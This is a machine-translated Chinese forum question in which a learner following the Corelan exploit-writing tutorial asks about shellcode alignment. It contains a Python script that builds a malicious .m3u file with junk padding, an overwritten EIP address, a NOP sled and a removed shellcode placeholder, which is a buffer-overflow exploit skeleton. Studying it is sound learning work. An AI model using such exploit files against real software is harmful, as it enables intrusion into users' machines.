2014-05-25 34 views
0

我正在从Corelans漏洞利用写入教程中学习,但是这里有一些我不明白的地方,我已经从脚本中删除了shellcode以节省空间(这不是问题),将其转换到Python了解Corelans漏洞利用中的Preshellcode写入教程

#!/usr/bin/python 

junk = 'A' * 26109 

eip = '\x2A\xB2\xD8\x01' 
preshellcode = 'XXXX' ### 
shellcode = "\x90" * 25 

shellcode += 'shellcode went here' 

f = open('crash.m3u', 'w') 
f.write(junk+eip+preshellcode+shellcode) ### 
f.close 

如果你删除一个名为“preshellcode”编辑行结束“###”这个脚本使用的变量,但问题是我不得不删除preshellcode,其中包含4个字节(” XXXX'),并在ESP中完美对齐shellcode。而是添加了shellcode = "\x90" * 25,接着是真正的shellcode。现在让我困惑。我甚至尝试将'\ x90'更改为4等。任何解释这里发生了什么?

回答